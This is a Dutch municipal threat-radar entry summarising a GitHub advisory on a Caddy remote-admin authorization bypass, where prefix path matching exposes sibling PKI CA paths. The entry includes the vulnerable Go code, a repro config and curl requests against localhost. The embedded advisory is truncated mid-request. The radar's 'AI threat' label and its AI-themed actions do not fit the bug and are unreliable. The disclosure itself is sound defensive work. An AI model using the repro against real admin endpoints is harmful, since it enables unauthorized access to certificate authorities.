Gemeente Cyber Dreigingsradar
Kritiek
Terug naar het overzicht
MiddenAI-dreigingGitHub Security Advisories

Caddy: Remote Admin Authorization Bypass on PKI Endpoints via Prefix-Based Path Matching

Caddy: Remote Admin Authorization Bypass on PKI Endpoints via Prefix-Based Path Matching

Prioriteit & onderbouwing

39 / 100

Prioriteit: Laag

Monitoren

Laag (39/100): monitoren. Zwaarst wegend: technische ernst en betrouwbaarheid van het signaal.

Threat Score42 / 100

midden

  • Technische ernst (severity): Genormaliseerde ernst 'medium'; geen CVSS-score beschikbaar.
Exploit Score10 / 100

laag

  • Geen exploit bekend: Er is geen exploit of actief misbruik bekend.
Municipal Relevance Score35 / 100

midden

  • Gemeentelijke relevantie: Relevantiescore 35/100 uit de relevantie-engine (module 5).
Action Urgency Score39 / 100

midden

  • Technische ernst: Threat Score 42/100 x gewicht 25%.
  • Exploitatie: Exploit Score 10/100 x gewicht 25%.
  • Gemeentelijke relevantie: Relevantiescore 35/100 x gewicht 22%.
  • Betrouwbaarheid van het signaal: Confidence 'likely' x gewicht 12%.
  • Blootstellingskans: Geschatte blootstelling 30% x gewicht 10%.
  • Betrouwbaarheid van de bron: Bronbetrouwbaarheid 88% x gewicht 6%.

De priority_score is de Action Urgency Score: een gewogen combinatie van de technische ernst, de exploitatie en de gemeentelijke relevantie.

Toelichting

## AI Disclosure I used an LLM to help review the source code, reason about attack surface, and help draft and refine this report. I manually validated the finding by reproducing it locally, confirming the vulnerable code path, and verifying the HTTP behavior with `curl -v`. ## Summary Caddy's remote admin access control performs path authorization using prefix matching: - [`admin.go`](/caddy/admin.go#L719): `strings.HasPrefix(r.URL.Path, allowedPath)` This allows a client certificate authorized only for `/pki/ca/prod` to access sibling PKI resources whose paths merely share the same prefix, such as `/pki/ca/prod-backup`. This is an authorization bug in Caddy's source code, not a misconfiguration issue. The configured policy is more restrictive than the behavior that Caddy actually enforces. ## Affected Component Remote admin access control for PKI admin endpoints. Relevant code: - [`admin.go`](/caddy/admin.go#L687) - [`admin.go`](/caddy/admin.go#L719) - [`modules/caddypki/adminapi.go`](/caddy/modules/caddypki/adminapi.go#L68) - [`modules/caddypki/adminapi.go`](/caddy/modules/caddypki/adminapi.go#L164) ## Root Cause In `RemoteAdmin.enforceAccessControls()`, allowed paths are checked like this: ```go for _, allowedPath := range accessPerm.Paths { if strings.HasPrefix(r.URL.Path, allowedPath) { pathFound = true break } } ``` This does not enforce a path-segment boundary. So if the allowed path is: /pki/ca/prod then all of the following are treated as authorized: - /pki/ca/prod-backup - /pki/ca/prod1 - /pki/ca/prodanything For PKI admin endpoints, the CA ID is taken directly from the request path: - modules/caddypki/adminapi.go:164 So /pki/ca/prod-backup is interpreted as CA ID prod-backup, even though only /pki/ca/prod was intended to be allowed. ## Security Impact A remote admin client certificate restricted to one PKI CA path can access other CA resources with the same prefix. This breaks least-privilege remote admin policies and results in authenticated authorization bypass. ## Minimal Configuration File: repro.json ``` { "admin": { "listen": "127.0.0.1:2019", "identity": { "identifiers": ["localhost"], "issuers": [ { "module": "internal" } ] }, "remote": { "listen": "127.0.0.1:2021", "access_control": [ { "public_keys": [" "], "permissions": [ { "methods": ["GET"], "paths": ["/pki/ca/prod"] } ] } ] } }, "apps": { "pki": { "certificate_authorities": { "prod": { "name": "prod" }, "prod-backup": { "name": "prod-backup" } } } } } ``` ## Reproduction Steps From Scratch ### 1. Generate a client certificate ``` openssl req -x509 -newkey rsa:2048 -nodes -days 365 \ -subj '/CN=remote-admin-client' \ -keyout client.key \ -out client.crt ``` ### 2. Convert the client certificate to base64 DER CLIENT_CERT_B64="$(openssl x509 -in client.crt -outform der | base64 | tr -d '\n')" ### 3. Put that value into repro.json Replace: with the value of CLIENT_CERT_B64. ### 4. Run Caddy go run ./cmd/caddy run --config ./repro.json ### 5. Confirm access to the intended allowed path ``` curl -vk \ --resolve localhost:2021:127.0.0.1 \ --cert ./client.crt \ --key ./client.key \ https://localhost:2021/pki/ca/prod ``` Expected result: - HTTP/1.1 200 OK ### 6. Request a different CA whose path shares the same prefix ``` curl -vk \ --resolve localhost:2021:127.0.0.1 \ --cert ./client.crt \ --key ./client.key \ https://localhost:2021/pki/ca/prod-backup ``` Expected secure behavior: - HTTP/1.1 403 Forbidden Actual behavior: - HTTP/1.1 200 OK ## Precise HTTP Requests and Output ### Allowed path ``` curl -vk \ --resolve localhost:2021:127.0.0.1 \ --cert ./client.crt \ --key ./client.key \ https://localhost:2021/pki/ca/prod ``` Response excerpt: ``` > GET /pki/ca/prod HTTP/1.1 > Host: localhost:2021 > User-Agent: curl/8.5.0 > Accept: */* > < HTTP/1.1 200 OK < Content-Type: application/json ``` ### Unauthorized sibling path that is incorrectly allowed ``` curl -vk \ --resolve localhost:2021:127.0.0.1 \ --cert ./client.crt \ --key ./client.key \ https://localhost:2

Onderbouwing van de classificatie

Categorie 'ai_threat' op basis van trefwoord 'llm'. Severity 'medium' bepaald op basis van: bronlabel 'medium'. Confidence 'likely': gerenommeerd securityonderzoek (GitHub Security Advisories). Geen bekende leveranciers of producten herkend.

Kwetsbaarheden

Geen CVE toegekendPrioriteitsscore 0.0 / 100
CVSS
EPSS
KEV
Nee
go

Gemeentelijke relevantie

35

Deze dreiging scoort 35/100 voor de gemeentelijke relevantie. Meegewogen: impact op identity of Microsoft 365 en een leveranciers- of ketenrisico. Geraakte processen: Microsoft 365 en identity, Leveranciersketen, Back-up en herstel.

Bestuurlijke duiding

Deze dreiging is relevant voor de gemeente. AI-gedreven dreigingen vragen om bewustwording en aangepaste werkafspraken. De impact is beheersbaar mits de geadviseerde maatregelen tijdig worden opgevolgd. Laat de CISO de voortgang bewaken en escaleer richting directie zodra nieuwe signalen daartoe aanleiding geven.

Geraakte processen

Microsoft 365 en identityLeveranciersketenBack-up en herstel

Geraakte technologie

github.com/caddyserver/caddy/v2go

Betrokken rollen

CISO · ISO · SOC · ICT beheer · Leveranciersmanager

Operationele acties

  • Inventariseer welke AI-diensten worden gebruikt en met welke gegevens.
  • Leg werkafspraken vast over toegestaan gebruik en gegevensdeling.

Concrete stappen voor ICT-beheer en het securityteam.

Aanbevolen acties

  • Beoordeel het gebruik van AI-diensten en de bijbehorende risico's.
  • Maak medewerkers bewust van AI-gerelateerde misleiding.

Dit zijn algemene handelingsperspectieven. Stem de opvolging af op de eigen omgeving en het ISMS van uw gemeente.

Kenmerken

Ernst
Midden
Categorie
AI-dreiging
Zekerheid
Waarschijnlijk
Status
Verrijkt
CVE's
Geen
Prioriteitsscore
39 / 100 · Laag
Bron
GitHub Security Advisories
Gepubliceerd
19 mei 2026

Labels

Supply chainOpensourceLinux
Originele publicatie